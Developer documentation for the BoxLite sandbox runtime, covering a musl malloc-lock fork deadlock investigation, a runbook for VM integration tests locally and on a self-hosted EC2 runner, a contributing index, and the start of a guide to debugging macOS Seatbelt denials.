leak. * `clone3()` is called **without** `CLONE_FILES` — the child gets a copy of the fd table. * The intermediate process forks the init process using `clone3_sibling` (with `CLONE_PARENT` and **no exit signal**). **Conclusion:** The block is in `recvmsg` on the `main_receiver` SEQPACKET socket, waiting for the intermediate process to send `intermediate_ready`. ### Step 3: Add a watchdog diagnostic thread **Tool:** Custom diagnostic code added to `src/guest/src/container/command.rs`. Add a watchdog thread that fires if `build()` has not completed within 3 seconds: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} let done = Arc::new(AtomicBool::new(false)); let done_clone = done.clone(); let parent_tid = nix::unistd::gettid().as_raw(); let watchdog = std::thread::spawn(move || { std::thread::sleep(Duration::from_secs(3)); if done_clone.load(Ordering::Relaxed) { return; } eprintln!("[guest-diag] watchdog: build() still running after 3s"); // ... diagnostic code ... }); ``` **Initial diagnosis:** Scan `/proc` for youki / child processes. **Finding:** No child process named after youki exists. The parent thread's wchan = `__skb_wait_for_more_packets` (a SEQPACKET recv wait). **Conclusion:** Confirms the hang is in the parent's channel recv, and that no clearly named child process is alive. ### Step 4: Read the parent thread's syscall info **Tool:** `/proc/self/task//wchan` and `/proc/self/task//syscall`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} let wchan = std::fs::read_to_string( format!("/proc/self/task/{}/wchan", parent_tid) ); let syscall = std::fs::read_to_string( format!("/proc/self/task/{}/syscall", parent_tid) ); ``` **Result (consistent across all hangs):** ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} wchan = __skb_wait_for_more_packets syscall = 212 0x18 ... (212 = recvmsg on aarch64, 0x18 = fd 24) ``` **Conclusion:** The parent blocks on `recvmsg(fd=24)`. The fd number can differ across runs (24 or 23, because of gaps in fd allocation) but is always the `main_receiver` SEQPACKET. ### Step 5: Dump all open fds **Tool:** readlink over `/proc/self/fd/`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} if let Ok(entries) = std::fs::read_dir("/proc/self/fd") { for fd in sorted_fds { let link = std::fs::read_link(format!("/proc/self/fd/{}", fd)); eprintln!("[guest-diag] fd={}: {:?}", fd, link); } } ``` **Result (typical hang):** ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} fd=22: socket:[1243] ← NotifyListener (STREAM) fd=24: socket:[1245] ← BLOCKED (main_receiver, SEQPACKET) fd=26: socket:[1247] ← channel socket fd=27: socket:[1248] ← channel socket fd=28: socket:[1249] ← channel socket ``` **Conclusion:** 4 SEQPACKETs are alive (6 created − 2 senders closed = 4), matching the expected state after the parent closes `main_sender`/`inter_sender`. ### Step 6: Inspect socket state via /proc/net/unix **Tool:** Filter `/proc/net/unix` by socket inode. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} let mut socket_inodes: Vec = Vec::new(); // ... extract inodes from the readlink results ... if let Ok(content) = std::fs::read_to_string("/proc/net/unix") { for line in content.lines() { if socket_inodes.iter().any(|ino| line.contains(ino)) { eprintln!("[guest-diag] {}", line); } } } ``` **Result:** ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Inode Type St RefCount 1243 0001 01 00000002 tenant-notify-*.sock (STREAM, listening) 1245 0005 03 00000003 SEQPACKET, connected 1247 0005 03 00000003 SEQPACKET, connected 1248 0005 03 00000003 SEQPACKET, connected 1249 0005 03 00000003 SEQPACKET, connected ``` **Key observation:** Every SEQPACKET has `RefCount=3`. For a connected Unix socketpair, RefCount=3 = 1 (self) + 1 (file/fd) + 1 (peer reference), which means the **peer socket is still alive** — some process still holds the sender-side fd. **Conclusion:** Even though the parent closed its own copies, the sender-side peers are still alive. Another process holds copies of `main_sender`/`inter_sender`. ### Step 7: Verify the peer is alive with poll() and FIONREAD **Tool:** Call `poll()` and `ioctl(FIONREAD)` on the blocked fd. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} if let Some(fd) = blocked_fd { let mut pfd = nix::libc::pollfd { fd, events: nix::libc::POLLIN | nix::libc::POLLHUP | nix::libc::POLLERR, revents: 0 }; let ret = unsafe { nix::libc::poll(&mut pfd, 1, 0) }; // ... also ioctl(FIONREAD) ... } ``` **Result (all hangs):** ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} poll_ret=0 revents=0x0 ← no event, peer alive (no POLLHUP) FIONREAD ioctl_ret=0 bytes=0 ← no data to read ``` **Conclusion:** The kernel explicitly confirms the peer socket (main\_sender) is still alive and held by some process. If all copies had been closed, `POLLHUP` would appear. ### Step 8: Extend /proc/net/unix to all SEQPACKETs **Tool:** Relax the `/proc/net/unix` filter to include all Type `0005` entries. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} if line.contains(" 0005 ") || socket_inodes.iter().any(|ino| line.contains(ino)) { eprintln!("[guest-diag] {}", line); } ``` **Result:** Now 6 SEQPACKETs appear (previously only 4): ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Inode RefCount Notes 1244 00000003 ← new! peer socket (main_sender), not in our fd table 1245 00000003 ← our blocked main_receiver 1246 00000003 ← new! peer socket (inter_sender), not in our fd table 1247 00000003 1248 00000003 1249 00000003 ``` **Conclusion:** The peer sockets (inodes 1244, 1246) are alive in the system but not in this process's fd table. Another process holds them. ### Step 9: Scan every process's fd table to find the socket holder **Tool:** readlink over `/proc//fd/` across all PIDs. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} if let Ok(proc_entries) = std::fs::read_dir("/proc") { for pe in proc_entries.flatten() { // ... for each numeric PID ... let fd_dir = pe.path().join("fd"); if let Ok(fd_entries) = std::fs::read_dir(&fd_dir) { for fe in fd_entries.flatten() { if let Ok(link) = std::fs::read_link(fe.path()) { // if link has the form "socket:[NNNN]", print pid/fd/link eprintln!("pid=... fd=... -> {:?}", link); } } } } } ``` **Result (the breakthrough):** ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} pid=212 fd=24 -> socket:[1245] ← our blocked main_receiver pid=212 fd=26 -> socket:[1247] pid=212 fd=27 -> socket:[1248] pid=212 fd=28 -> socket:[1249] pid=248 fd=22 -> socket:[1244] ← extra! main_sender peer pid=248 fd=23 -> socket:[1245] pid=248 fd=24 -> socket:[1246] ← extra! inter_sender peer pid=248 fd=25 -> socket:[1247] pid=248 fd=26 -> socket:[1248] pid=248 fd=27 -> socket:[1249] ``` **Conclusion: PID 248 holds copies of the sender-side sockets (1244, 1246) that the parent already closed.** These are fd copies inherited from `clone3()`. PID 248 is the intermediate child process that never closed them — because it never ran its initial setup. ### Step 10: Identify the blocked child process **Tool:** `/proc//{comm,stat,wchan,syscall,stack}`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} let comm = std::fs::read_to_string(proc_dir.join("comm")); let wchan = std::fs::read_to_string(proc_dir.join("wchan")); let syscall = std::fs::read_to_string(proc_dir.join("syscall")); let stack = std::fs::read_to_string(proc_dir.join("stack")); ``` **Result:** ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} USERSPACE pid=248 ppid=211 state=S comm=tokio-runtime-w wchan=futex_wait_queue syscall=98 0x16f6e68 0x80 0xffffffff80000002 stack: futex_wait_queue+0x6c/0x98 __futex_wait+0xb4/0x12c futex_wait+0x64/0xcc do_futex+0xf8/0x1a0 __arm64_sys_futex+0xd0/0x14c invoke_syscall+0x48/0x10c ``` **Key findings:** * PID 248 is a child of the guest agent (ppid=211). * `comm=tokio-runtime-w` — inherited from the thread name of the tokio worker that performed the fork. * Blocked in `futex_wait_queue` — waiting on a userspace futex (address `0x16f6e68`). * syscall arguments: `futex(0x16f6e68, FUTEX_WAIT_PRIVATE, 0x80000002)` * `FUTEX_WAIT_PRIVATE` = an in-process futex (not cross-process). * `0x80000002` = locked + contended (NPTL mutex encoding). **Conclusion:** The intermediate child process is **deadlocked on a userspace mutex**. It inherited a locked mutex from the parent's multi-threaded address space, but the lock-holding thread does not exist in the child. This is the classic "fork in a multi-threaded process" problem. ### Step 11: Resolve the futex address to a symbol **Tool:** Run `llvm-nm` on the statically linked guest binary. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} llvm-nm --numeric-sort \ target/aarch64-unknown-linux-musl/debug/boxlite-guest \ | grep -B5 -A5 16f6e68 ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} 00000000016f6de8 B __libc 00000000016f6e50 B __hwcap 00000000016f6e58 B __eintr_valid_flag 00000000016f6e5c B __thread_list_lock 00000000016f6e60 B __abort_lock 00000000016f6e68 B __malloc_lock ← exact match 00000000016f6e6c B __malloc_replaced 00000000016f6e70 B __aligned_alloc_replaced 00000000016f6e78 B __bss_end__ ``` **Conclusion:** The futex at `0x16f6e68` is **`__malloc_lock`** — musl libc's global heap allocator mutex. The intermediate process deadlocks on its **first `malloc()`**, because `__malloc_lock` was held by another tokio thread at fork time and musl has no `pthread_atfork` handler to reset it in the child. ### Step 12: Confirm the mechanism The mutex is **not shared across processes**. `clone3()` **copies** the entire address space into the child; the child gets a snapshot of the mutex in its locked state, but the lock-holding thread (Thread B) does not exist in the child: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} BEFORE clone3(): Parent process memory: ┌─────────────────────────────────────┐ │ 0x16f6e68 (__malloc_lock) = LOCKED │ ← held by Thread B └─────────────────────────────────────┘ Thread A Thread B (calls clone3) (doing malloc) AFTER clone3(): Parent (unchanged) Child (COPY of parent memory) ┌───────────────────┐ ┌───────────────────┐ │ __malloc_lock=LOCKED│ │ __malloc_lock=LOCKED│ │ Thread B exists ✓ │ │ Thread B GONE ✗ │ │ → will unlock │ │ → stuck forever │ └───────────────────┘ └───────────────────┘ ``` **Why `__malloc_lock` is the worst inherited lock:** it is unavoidable. The intermediate process can hardly run any meaningful code without allocating memory — `Vec::new()`, `String::from()`, `format!()`, and `PathBuf` operations all call `malloc()` and all try to acquire `__malloc_lock`. *** ## Environment Details (at investigation time) | Component | Details | | - | - | | Platform | macOS ARM64 (Apple Silicon), VM via libkrun | | Guest kernel | Linux aarch64 | | Guest binary | `boxlite-guest`, statically linked, musl libc | | Target triple | `aarch64-unknown-linux-musl` | | Runtime | tokio multi-threaded (4 worker threads) | | libcontainer | youki v0.5.7 (vendored) | | Channel type | `AF_UNIX SOCK_SEQPACKET` with `SOCK_CLOEXEC` | ## libcontainer channel architecture ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} container_main_process() creates 3 channel pairs (6 SEQPACKET sockets): Parent side Peer (child side) Purpose ───────────────────────────────────────────────────────────── main_receiver ←→ main_sender children → parent readiness inter_sender ←→ inter_receiver parent → intermediate config init_sender ←→ init_receiver parent → init config Fork lifecycle: 1. Parent creates all 3 pairs (6 fds) 2. clone3() → intermediate (inherits copies of all 6 fds) 3. Parent closes main_sender, inter_sender (2 fds) 4. Parent calls main_receiver.recv() —— waits for intermediate_ready 5. Intermediate should: setup → send intermediate_ready → fork init → exit 6. Init should: setup → send init_ready → exec() (CLOEXEC closes channel fds) When intermediate deadlocks at step 5: - The main_sender copy held by intermediate stays open - Parent's recv() never reaches EOF (peer alive) - Parent blocks forever ``` ## Test Results Summary (reproduction data, pre-fix) | Batch | Runs | Stalls | Stall Rate | | - | - | - | - | | Batch 1 | 8 | 3 | 37.5% | | Batch 2 | 8 | 3 | 37.5% | | Batch 3 | 10 | 4 | 40.0% | | Batch 4 | 12 | 1 | 8.3% | | **Total** | **38** | **11** | **28.9%** | ## Diagnostic Techniques Reference (reusable techniques) | Technique | Source | What it reveals | | - | - | - | | `/proc/self/task//wchan` | procfs | Kernel wait-channel name | | `/proc/self/task//syscall` | procfs | Blocked syscall number + register arguments | | `/proc/self/fd/` readlink | procfs | fd → inode mapping (`socket:[NNNN]`) | | `/proc/net/unix` | procfs | Unix socket state, RefCount, Type, Inode | | `/proc//fd/` cross-process scan | procfs | Which process holds a specific socket | | `/proc//stack` | procfs | Kernel stack of a stuck process | | `/proc//comm` | procfs | Process/thread name | | `poll(fd, POLLIN\|POLLHUP, 0)` | syscall | Whether the peer is alive (POLLHUP = peer dead) | | `ioctl(fd, FIONREAD)` | syscall | Bytes pending in the socket recv buffer | | `llvm-nm --numeric-sort` | toolchain | Resolve an address to a symbol in a static binary | ## Files Read During Investigation > BoxLite guest source uses the `src/guest/...` prefix; `libcontainer/...` is the vendored youki crate (a dependency, not under this repository's `src/`). ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} src/guest/src/container/command.rs (MODIFIED — watchdog) src/guest/src/service/exec/executor.rs (ContainerExecutor::spawn) src/guest/src/service/exec/mod.rs libcontainer/src/channel.rs (base channel, socketpair) libcontainer/src/process/channel.rs (Main/Inter/Init channels) libcontainer/src/process/container_main_process.rs (fork + channel lifecycle) libcontainer/src/process/container_intermediate_process.rs (intermediate setup) libcontainer/src/process/fork.rs (clone3, CLONE_PARENT) libcontainer/src/container/tenant_builder.rs (build() entry point) libcontainer/src/container/builder_impl.rs (run_container, NotifyListener) libcontainer/src/notify_socket.rs (dangerous Clone impl) ``` > The fix is implemented in `src/guest/src/container/zygote.rs` (Option B: a single-threaded zygote, pre-forked, serializing all `build()` calls over IPC). *** ## Troubleshooting The deadlock described in this investigation has been **fixed**. If you still hit a "concurrent exec hangs / never returns" symptom, re-diagnose using the table below — it is very likely not the musl bug described here. | Symptom / error | Possible cause | Fix | | - | - | - | | All concurrent `exec` calls hang with no return for a long time | **Unrelated** to the deadlock on this page (it is fixed). Usually the box is not yet ready, or the first image pull is slow | Set a `timeout` on `exec` (`SimpleBox.exec(..., timeout=30.0)`, float seconds); run a single `exec` first to confirm the box starts | | `RuntimeError` mentioning image pull / network | An image-pull failure raises a **standard `RuntimeError`** (not `BoxliteError`) | Retry with `try/except RuntimeError`; check the network and image name | | Box `start()` fails but the process stays alive | No hardware virtualization | Requires Linux + KVM, or macOS (Apple Hypervisor.framework, no `/dev/kvm`); WSL2 needs KVM with your user in the `kvm` group. Without virtualization, startup fails but the exception is catchable | | An `exec` command "fails" but raises no exception | A non-zero exec exit **does not raise**; it returns `ExecResult(exit_code != 0)` | Check `result.exit_code` yourself; `raise` if needed (see Quick Example) | | A missing command raises a **bare `Error`** / `RuntimeError`, and `isinstance(e, BoxliteError)` is False | A missing command / spawn failure follows the standard exception path | Catch the standard `RuntimeError` (Python) / bare `Error` (Node); do not catch only `BoxliteError` | | You need to confirm the bug has not regressed | — | Run this page's Quick Example (16 concurrent execs should all return reliably), or the concurrent `build()` test at the end of `src/guest/src/container/zygote.rs` | > Environment constraint: BoxLite requires hardware virtualization. Linux + KVM; macOS uses Apple Hypervisor.framework (no `/dev/kvm` needed on macOS arm64); macOS Intel is not supported. # VM integration tests, locally and in CI Source: https://docs.boxlite.ai/development/e2e-local An operations runbook for the VM integration tests, in CI and on your own machine. `e2e-local.yml` runs them on a persistent AWS EC2 self-hosted runner, because the tests boot real microVMs and need hardware virtualization. Below: how CI provisions the machine, how to read a failure, and the exact commands to reproduce the same run locally. ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * Install build dependencies: CI uses `scripts/setup/setup-ubuntu.sh` (Ubuntu). Locally you can use the project's `make setup`. * The repository root has a `Makefile` (aggregating `make/*.mk`); the test entry point is `make test:integration`. * Operating the CI infrastructure requires the GitHub `gh` CLI and admin access to the repository (to dispatch the workflow and configure variables/secrets). ## Quick Example (shortest reproduction path) ### Reproduce locally (same commands as CI) ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # 1) Verify virtualization is available (Linux). Skip on macOS Apple Silicon — it uses Hypervisor.framework. test -c /dev/kvm && test -r /dev/kvm -a -w /dev/kvm \ && echo "/dev/kvm OK" \ || echo "WARN: /dev/kvm unavailable (ignore on macOS Apple Silicon; fix required on Linux, see Troubleshooting)" # 2) Install build dependencies (first run or after dependency changes). # On Ubuntu runners CI runs scripts/setup/setup-ubuntu.sh; locally the aggregate target is enough. make setup # 3) Run the same integration test suite CI runs (the core command of e2e-local.yml). make test:integration # Optional: run only the core suite (Rust + CLI), faster than the full run. make test:integration:core ``` > Tip: `make test:integration` actually boots microVMs. On a clean machine, the first run compiles the whole toolchain (roughly 5-10 minutes); subsequent runs reuse the cache and are significantly faster. ### `make test` vs `make test:integration:cli` These two targets are not interchangeable: * **`make test`** is `make test:changed`: it inspects the working tree, maps changed components to suites, and runs only those. With no detected changes it runs nothing (use `make test:all` for the full unit + integration matrix). Each changed component maps to its own suite — for example, a CLI change runs `make test:integration:cli`. * **`make test:integration:cli`** runs only the CLI integration tests. It depends on `runtime:debug` (it builds the debug runtime first unless setup already ran), then runs the suite with `--no-fail-fast` so one failure does not hide the rest: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # With cargo-nextest available (preferred): cargo nextest run -p boxlite-cli --tests --profile vm --no-fail-fast # Fallback (plain cargo): cargo test -p boxlite-cli --tests --no-fail-fast -- --test-threads=4 ``` The CLI tests are real integration tests, not unit tests: each test pulls images, creates boxes, and runs the actual `boxlite` binary against a microVM. They therefore require the same virtualization environment as the rest of `make test:integration` (KVM on Linux, Hypervisor.framework on macOS). To keep first-run image pulls cheap and avoid registry rate limits, a shared, pre-warmed cache is set up once per test process and the standard test images (`alpine:latest`, `python:alpine`) are pre-pulled and reused. For how the CLI test harness itself is structured, see the [CLI Development Guide](/development/cli-development). ### Trigger a run in CI ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Manually dispatch the workflow (no PR label required). gh workflow run e2e-local.yml # Pass the debug input to open an SSH debug session (tmate) on failure. gh workflow run e2e-local.yml -f debug=true ``` ## How it runs (workflow structure) The workflow has four jobs: ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR gate["should-run (label gate)"] --> start["start-runner (start EC2)"] start --> tests["e2e-tests (integration tests)"] tests --> stop["stop-runner (stop EC2)"] ``` | Job | Role | | - | - | | **should-run** | Decides whether to run. Pushes and manual dispatches always run; a PR runs only when a maintainer applies the `e2e-local` label. | | **start-runner** | Authenticates to AWS, starts the stopped instance (creating it if absent), and waits up to 3 minutes for the self-hosted runner to come online. | | **e2e-tests** | Runs on the self-hosted runner (the `boxlite-e2e` label, 50-minute timeout): it first verifies `/dev/kvm`, installs build dependencies, then runs `make test:integration`. | | **stop-runner** | Always runs at the end, stopping the instance to control cost. | Note on the single-instance design: the workflow keeps **one persistent** EC2 instance for this test suite — started before a run and **stopped** afterward (never terminated) — so the build and image caches remain on the EBS volume. Because there is only one instance, only one e2e run can proceed at a time; a newer run cancels an older queued run. ### Triggers | Trigger | Condition | | - | - | | push to `main` | Changes to runtime code: `src/boxlite/**`, `src/shared/**`, `src/cli/**`, `src/guest/**`, `src/shim/**`, `src/deps/**`, `sdks/**`, any `**/Cargo.toml`, `Cargo.lock`, `.gitmodules`, or the workflow file itself. | | `pull_request_target` (`labeled` / `synchronize`) | Runs only when the PR carries the `e2e-local` label — the label is a cost gate that only maintainers can add. | | `workflow_dispatch` | Manual trigger with an optional `debug` input: opens an SSH (tmate) session when a test fails. | > Note on source prefixes: the trigger paths use the real repository layout `src//` (`src/boxlite`, `src/shared`, `src/cli`, `src/guest`) and `sdks/**`, not the old `boxlite/src/` prefix. ## Instance & auth | Attribute | Value | | - | - | | Instance type | Any instance family that supports nested virtualization (set via `EC2_INSTANCE_TYPE`) | | AMI / region | Hardcoded in the workflow file (`AWS_REGION: us-east-1`, `EC2_AMI_ID`, `EC2_INSTANCE_TYPE`) — change them there, not via repository variables | | Runner label | `boxlite-e2e` (registration label set `self-hosted,linux,x64,kvm,boxlite-e2e`) | | Lifecycle | Persistent — stopped between runs, never terminated | | Storage | gp3 root volume retained across runs; holds the `~/.cargo`, `target/`, and `~/.boxlite` caches | Keeping the instance warm is why repeat runs are faster: a clean instance's first run requires a full compile (roughly 5-10 minutes of initialization), after which it reuses the cached toolchain and build artifacts. Running cost is the instance's on-demand rate while a run is in progress, plus the persistent root volume. Price it against your own account and region. Authentication uses no long-lived secrets: * **AWS** — GitHub OIDC is exchanged for short-lived STS credentials via the `boxlite-e2e-github-actions` IAM role. No AWS key is stored in the repository. * **GitHub** — a GitHub App (`boxlite-e2e-runner`) issues runner registration tokens at run time. There is no personal access token. ## One-time setup (provisioning) All AWS and GitHub infrastructure is provisioned by a single script: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Run from the repository root. The script is idempotent: re-running reconciles existing resources. ./scripts/ci/setup-ci-runner.sh # Provision the AWS side only: ./scripts/ci/setup-ci-runner.sh --skip-github # Override auto-discovery: ./scripts/ci/setup-ci-runner.sh --region --vpc-id --subnet-id # Note: replace / above with the real values from your account. ``` It auto-detects the AWS account, the repository, the default VPC, and a public subnet, and creates these AWS resources: | Resource | Purpose | | - | - | | OIDC provider `token.actions.githubusercontent.com` | Lets GitHub Actions assume an AWS role | | IAM role `boxlite-e2e-github-actions` | The role the workflow assumes (EC2 start/stop/run + pass-role) | | IAM role + instance profile `boxlite-e2e-runner` | The runtime identity of the EC2 instance | | Security group `boxlite-e2e-runner` | Egress on 443/80 only | And it sets the following on the repository: | Variables | Secret | | - | - | | `AWS_ACCOUNT_ID`, `AWS_SUBNET_IDS`, `AWS_SECURITY_GROUP_ID`, `GH_APP_ID`, `EC2_E2E_INSTANCE_ID` | `GH_APP_PRIVATE_KEY` | The GitHub App is created through a script-driven browser manifest flow — follow the prompts to confirm and install the App. `EC2_E2E_INSTANCE_ID` is written automatically the first time the instance is created; later runs use it to locate the instance directly. Once provisioning is complete, trigger a run: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} gh workflow run e2e-local.yml ``` ## Parameters & Returns (key parameters) Workflow environment and inputs (from `e2e-local.yml`): | Name | Type | Default | Description | | - | - | - | - | | `debug` | workflow\_dispatch input (boolean) | `false` | Opens a tmate SSH session when a test fails; the instance stays running (auto-stops after 30 minutes idle). | | `AWS_REGION` | env | — | Deployment region. | | `EC2_INSTANCE_TYPE` | env | — | Instance type with nested virtualization support. | | `EC2_AMI_ID` | env | — | Runner AMI. | | `RUNNER_LABEL` | env | `boxlite-e2e` | Self-hosted runner label. | | `e2e-local` | PR label | — | Cost gate; only maintainers can add it; triggers a run on a PR. | Relevant make targets available locally: | Command | Role | | - | - | | `make setup` | Install build dependencies (the local equivalent of CI's dependency-install step). | | `make test:integration` | Run all integration suites (CI's core command; requires a VM). | | `make test:integration:core` | Core suites only (Rust + CLI), faster than the full run. | | `make test:integration:sdk` | SDK integration suites (Python + Node + C — deliberately excludes Go; requires a VM). | | `make test:integration:python` / `:node` / `:c` / `:rust` / `:cli` / `:go` | Single-language / single-layer suites (some support `FILTER=`). | > The authoritative target list is `make help` (aggregated in `make/help.mk`); the table above is the common subset. ## Troubleshooting | Symptom | Possible cause | Fix | | - | - | - | | `start-runner` times out waiting for the runner to come online | The instance started but the runner service did not register | Inspect the instance's runner logs; re-run the workflow to retry registration. | | Launch fails with `InsufficientInstanceCapacity` | The chosen instance type has no capacity in that AZ | No action needed — the launch loop already retries each subnet/AZ; if all are exhausted, re-run later. | | `e2e-tests` fails on insufficient disk | The `target/` build artifacts filled the volume | The job evicts the cache at 80% usage and refuses to run when free space drops below 20 GB; if it still fails, clean space on the instance manually. | | A run cannot find the instance, or points at the wrong one | `EC2_E2E_INSTANCE_ID` is stale | It is recovered automatically via the `Name=boxlite-e2e` tag; clearing that variable forces rediscovery. | | A PR did not trigger the workflow | The `e2e-local` label is missing | Have a maintainer add the label (it is a cost gate). | | Local `make test:integration` reports `/dev/kvm not accessible` or VM startup fails | No virtualization / `/dev/kvm` not readable-writable | Linux: confirm your user is in the `kvm` group, or temporarily run `sudo chmod 666 /dev/kvm`; WSL2 needs KVM enabled. This is an environment constraint — without virtualization, microVMs cannot boot. | | There is no `/dev/kvm` locally on macOS Apple Silicon | macOS does not use KVM | This is normal — macOS uses Apple Hypervisor.framework and needs no `/dev/kvm`; run `make test:integration`. | | You need to log in to the runner to debug | — | Dispatch with `gh workflow run e2e-local.yml -f debug=true`; on failure it opens a tmate SSH session and keeps the instance (auto-stops after 30 minutes idle). | ## References (source) The links below point to real files in the repository (these are for contributors to open directly): * Workflow: `.github/workflows/e2e-local.yml` * Provisioning script: `scripts/ci/setup-ci-runner.sh` * Build-dependency install: `scripts/setup/setup-ubuntu.sh` * Test entry point (make targets): `Makefile` + `make/*.mk` (run `make help` for all targets) * CI overview: `.github/workflows/README.md` ## See also * [CLI Development Guide](/development/cli-development) — building and testing the BoxLite CLI, including how the CLI integration tests differ from the full matrix. # Contributing Source: https://docs.boxlite.ai/development/index Documentation for people working on BoxLite itself rather than building on it: how to develop the CLI, how to run the tests that boot real microVMs, and the conventions a pull request has to satisfy. If you are building an application on top of BoxLite, you want [Manage sandboxes](/manage-sandbox/index) or the [use cases](/use-cases/index) instead. Everything here starts from a BoxLite source checkout. | Page | Use it when | | - | - | | [CLI development guide](/development/cli-development) | You are changing the `boxlite` command — adding a subcommand, a flag, or output | | [Integration tests](/development/e2e-local) | You need the integration tests to pass, in CI or on your own machine | | [Rust style guide](/development/rust-style) | You want your PR to clear the `cargo fmt` / `cargo clippy` gates on the first try | | [Contributor license agreement](/legal/CLA) | You are about to open your first pull request and need the terms you are agreeing to | | [Concurrent execution deadlock investigation](/development/concurrent-exec-deadlock) | You are debugging a hang and want a worked example of how one was traced to its root cause | | [Debug macOS Seatbelt denials](/development/macos-sandbox-debugging) | Diagnosing sandbox denials on macOS | Before your first pull request, read the [contributor license agreement](/legal/CLA). To build the runtime from source — including the native prerequisites — see [Building from source](/development/building-from-source). # Debug macOS Seatbelt denials Source: https://docs.boxlite.ai/development/macos-sandbox-debugging On macOS, BoxLite runs boxlite-shim under a deny-by-default sandbox-exec (Seatbelt) policy. When a rule denies an operation, the box fails to start or behaves oddly, and the only evidence is a deny line in the system log. Finding which rule fired needs nothing but an installed SDK. Changing the policy needs a source checkout and a rebuild — on a published SDK, capture the `deny` line and file it upstream instead of editing the policy locally. *** ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * Command-line tools: `log` (Unified Logging, ships with the system), `sandbox-exec` (at `/usr/bin/sandbox-exec`, ships with the system). * To modify and rebuild the policy: you need the BoxLite source tree and the Rust toolchain (`cargo`), plus the `make` environment for the Python SDK. > Note: Seatbelt is a macOS-specific isolation mechanism. On Linux, BoxLite uses > bwrap/landlock (`src/boxlite/src/jailer/sandbox/bwrap.rs`, `landlock.rs`), and > the SBPL debugging flow on this page does not apply. *** ## Quick Example (minimal flow) The core of debugging is two steps: **start monitoring first, then run the triggering operation.** First terminal — real-time monitoring of boxlite-related Sandbox denials: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Real-time streaming monitor (recommended during development): show only boxlite denials log stream --predicate 'eventMessage CONTAINS "Sandbox:" AND eventMessage CONTAINS "boxlite" AND eventMessage CONTAINS "deny"' ``` Second terminal — run a minimal operation that exercises the isolation layer (copy and run directly): ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite (latest published version) import asyncio import boxlite async def main() -> None: try: # SimpleBox is an async context manager; create + start happen only on entering async with async with boxlite.SimpleBox(image="alpine:latest") as box: # A non-zero exit code does not raise; check exit_code yourself result = await box.exec("echo", "hello") if result.exit_code != 0: print(f"non-zero exit: {result.exit_code}\n{result.stderr}") else: print(result.stdout) except RuntimeError as exc: # No virtualization / image pull failure / Sandbox start failure may all raise a standard RuntimeError print(f"box failed to start: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Back in the first terminal: if a `deny(1)` line appears, one of the box's operations was blocked by Seatbelt — see the "Debugging Workflow" below. *** ## Debugging Workflow ### Step 1: Start real-time log monitoring first Start monitoring in a separate terminal (always start monitoring before running the test, otherwise you miss early denials): ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # View all sandbox denials (error level only) log stream --predicate 'subsystem == "com.apple.sandbox"' --level error # Or filter only denials from the boxlite-shim process log stream --predicate 'eventMessage CONTAINS "boxlite-shim" AND eventMessage CONTAINS "deny"' ``` ### Step 2: Run the triggering operation In another terminal, run the operation that fails (reuse the Quick Example above, or substitute your actual use-case script): ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # If using the project's bundled venv source .venv/bin/activate python your_repro_script.py ``` ### Step 3: Interpret the denial The format of a Sandbox denial in the log: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} kernel: (Sandbox) Sandbox: boxlite-shim(PID) deny(1) OPERATION TARGET ``` Common denial types: | Operation | Target example | Meaning | | - | - | - | | `file-read-data` | `/path/to/file` | The process tried to read file contents | | `file-read-metadata` | `/path` | The process tried to stat / access file metadata | | `file-write-data` | `/path/to/file` | The process tried to write to a file | | `file-write-create` | `/path/to/file` | The process tried to create a new file | | `sysctl-read` | `kern.bootargs` | The process tried to read a sysctl value | | `mach-lookup` | `com.apple.service` | The process tried to connect to a mach service | | `network-outbound` | `*:443` | The process tried to make a network connection | | `iokit-open` | `IOHIDFamily` | The process tried to access an IOKit device | ### Step 4: Update the policy Based on the denial, add the corresponding allow rule to the SBPL policy: ```scheme theme={"theme":{"light":"github-light","dark":"github-dark"}} ; For file-read-data /var (allow file-read* (literal "/var")) ; For sysctl-read kern.bootargs (allow sysctl-read (sysctl-name "kern.bootargs")) ; For mach-lookup com.apple.service (allow mach-lookup (global-name "com.apple.service")) ``` ### Step 5: Rebuild and retest The `.sbpl` files are embedded at compile time via `include_str!`, so changes take effect only after a rebuild: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Rebuild only the Rust library cargo clean -p boxlite && cargo build -p boxlite # Rebuild the Python SDK (along with the native extension) make dev:python ``` *** ## Log command reference ### Real-time streaming ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # All sandbox messages log stream --predicate 